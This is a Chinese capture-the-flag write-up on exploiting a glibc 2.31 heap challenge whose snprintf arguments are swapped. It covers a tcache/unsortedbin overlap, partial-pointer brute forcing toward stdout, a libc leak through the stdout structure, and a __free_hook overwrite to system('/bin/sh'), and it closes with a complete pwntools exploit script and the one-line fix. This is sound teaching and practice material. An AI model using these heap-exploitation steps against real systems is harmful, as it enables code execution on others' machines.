程序分析:
2.31的堆题,没有打印操作。常见的利用手法是house of botcake。
https://forum.butian.net/index.php/share/1709
就是利用unsortedbin的fd,将这个堆块同时释放进tcachebin和unsortedbin,使得可以申请出来stdout上的堆块。需要爆破1/16。
漏洞点:
snprintf的参数顺序错了,导致第二个参数也就是size很大,可以造成堆溢出。
Attack:
1:我在尝试切割unsortedbin,并把切割后剩下的堆块释放进tcachebin,但是很显然,这个堆块在被释放的一瞬间就被更改了fd和bk指针:
当时在宿舍,去了一趟厕所,回来的路上突然灵机一现,既然从unsortedbin进tcachebin会被改fd,那么如果反过来呢?于是就有了下面的思路:
代码:
for i in range(7):
add(i, 0x80)
add(7, 0x90)
add(8, 0x80)
add(9, 0x80)
add(10, 0x20)
for i in range(6):
free(i)
free(8)
#free(9)
edit(6,b"a"*0x88+b"\x31\x01",b"A"*0x8)
for i in range(7):
add(i+11, 0x120)
for i in range(7):
free(i+11)
free(7)
add(18,0x90)
先申请6个0x80,再申请1个0x80、1个0x90、1个0x80
这个时候我们释放前6个0x80,以及最后一个0x80,此时tcachebin就被填满了,我们通过堆溢出去修改0x90的堆块(7号堆块)的size,让它正好覆盖下一个已经被释放进tcachebin的0x80大小的堆块,然后我们再次填满0x120的tcachebin,此时释放7号堆块就会把这个堆块释放进unsortedbin里面,这个时候我们再申请一个0x90的堆块就会触发unsortedbin的切割,正好剩下了0x80的堆块在unsortedbin,这个时候fd指针就会被更改,由于此时这个堆块也在tcachebin里面,也就达成了我们修改tcachebin fd指针的目的。
2:现在我们想覆写stdout,在stdout-0x43的位置正好有0x7f的值,可以让我们申请。通过调试,我们可以得到这个地址的后三位:65d,由于都在libc里面,而且和上面的fd的值非常接近,我们只需要修改后两个字节就可以了,后三位不变的情况下我们爆破最后一个未知字节就行,1/16的概率。
但是遇到了一点问题:
之前堆溢出都是通过s来溢出,但是snprintf会自动在字符串末尾加一个\x00,也就导致了我们需要爆破3位,也就是1/4096的概率,这样可以是可以,肯定很慢,而且无法调试后面的代码。
这个时候我想到了后面的read,read函数也是向堆块里面写内容,而且没有\x00字符截断,那么我们能不能通过修改read函数的size部分去堆溢出?
显然是可以的,我们通过上一个堆块的snprintf的堆溢出去修改这个堆块的read的size的值,这个时候就可以在read的时候读入超过本堆块size的内容,进而覆盖下一个堆块的fd指针(也就是unsortedbin里面的那个堆块)
理论成立,实验开始:
free(7)
add(18,0x90)#后面的那个堆块的fd指针变了
edit(6,b"a"*0x90+b"\xff",b"A")
edit(18,b"a"*0x98+b"\xff",b"A"*0x90+p64(0x91)+p16(0xc65d))
#debug()
add(19,0x80)
add(20,0x80)#申请出来的stderr的堆块
我们通过6号堆块的溢出去把相邻的下一个堆块(18)的read的size部分修改为\xff,这个时候我们就可以通过修改18号堆块(用read函数)来堆溢出修改下个堆块(unsortedbin)的fd的前两个字节为0xc65d,多试几次就可以修改到stdout-0x43的位置
3:然后我们就可以着手修改_IO_2_1_stdout_的_IO_write_base的最后一个字节为\x00,这样程序就会从_IO_write_base开始输出,一直输出到_IO_write_ptr,会泄露出libc里面的地址。这部分可以参考我之前的博客:blue或者einstein。
edit(20,b"c"*0x10,b"c"*(0x43-8)+p64(0xFBAD1800)+b"!"*0x18+b"\x00")
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ec980
print("libc_base >>>", hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
oog = libc_base + 0xe3afe
在这个过程中又遇到了一些问题,就是把前面的覆盖成\x00好像不行,总是会覆盖失败,所以我就覆盖成了b”!”*0x18+b”\x00″,正好让最后一个字节是\x00就好了。然后就泄露出了很多地址:
计算出libc基址。
4:有了基址接下来我们继续去打tcachebin attack来改free_hook就行,这里别的没什么,要注意unsortedbin被破坏之后就不能正常从程序中申请堆块了,所以我们需要在他被破坏之前申请完后面在用。
add(0,0x40)
add(1,0x40)
add(2,0x40)
add(3,0x40)
add(4,0x40)
add(5,0x40)
------
free(3)
free(2)
edit(0,b"a"*0x50+b"\xe1",b"a")
edit(1,b"a"*4,b"a"*0x40+p64(0x51)+p64(free_hook-0x10))
#debug()
add(21,0x40)
add(22,0x40)
edit(22,b"a"*0x10+p64(system),b"a")
edit(4,b"1"*0x50+b"/bin/sh\x00",b"\x00")
free(5)
这里用不了onegadget,不符合条件。
正常申请free_hook不太行,程序会把这个位置改为size的内容。所以我们向前申请0x10.
(改为onegadget:
寄存器不符合条件:
那我们用system(“/bin/sh\x00”)就好了
free一个堆块内容是/bin/sh\x00的堆块(通过snprintf的堆溢出写,不然堆块的第一个值会是size,无法getshell)
edit(4,b"1"*0x50+b"/bin/sh\x00",b"\x00")
free(5)
也就是从4号堆块的溢出来写5号堆块的前八个字节。
成功getshell:
exp
from pwn import *
context(os="linux",arch="amd64",log_level="debug")
def debug():
gdb.attach(p)
def choice(idx):
p.sendlineafter(">>", str(idx))
def add(idx, size):
choice(1)
p.sendlineafter("Index:", str(idx))
p.sendlineafter("Size:", str(size))
def free(idx):
choice(2)
p.sendlineafter("Index:", str(idx))
def edit(idx, size, data):
choice(3)
p.sendlineafter("Index:", str(idx))
p.sendafter("content:", size)
p.sendafter("say:", data)
def exp():
for i in range(7):
add(i, 0x80)
add(7, 0x90)
add(8, 0x80)
add(9, 0x80)
add(10, 0x20)
for i in range(6):
free(i)
add(0,0x40)
add(1,0x40)
add(2,0x40)
add(3,0x40)
add(4,0x40)
add(5,0x40)
free(8)
#free(9)
edit(6,b"a"*0x88+b"\x31\x01",b"A"*0x8)
for i in range(7):
add(i+11, 0x120)
for i in range(7):
free(i+11)
free(7)
add(18,0x90)#后面的那个堆块的fd指针变了
edit(6,b"a"*0x90+b"\xff",b"A")
edit(18,b"a"*0x98+b"\xff",b"A"*0x90+p64(0x91)+p16(0xc65d))
#debug()
add(19,0x80)
add(20,0x80)#申请出来的stderr的堆块
edit(20,b"c"*0x10,b"c"*(0x43-8)+p64(0xFBAD1800)+b"!"*0x18+b"\x00")
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ec980
print("libc_base >>>", hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
oog = libc_base + 0xe3afe
free(3)
free(2)
edit(0,b"a"*0x50+b"\xe1",b"a")
edit(1,b"a"*4,b"a"*0x40+p64(0x51)+p64(free_hook-0x10))
#debug()
add(21,0x40)
add(22,0x40)
edit(22,b"a"*0x10+p64(system),b"a")
edit(4,b"1"*0x50+b"/bin/sh\x00",b"\x00")
free(5)
#debug()
p.interactive()
p = process("./pwn")
libc = ELF("/home/kali/glibc-all-in-one-master/libs/2.31-0ubuntu9.16_amd64/libc.so.6")
#gdb.attach(p, "b*$rebase(0x169D)")
exp()
Fix:
交换snprintf的参数位置即可: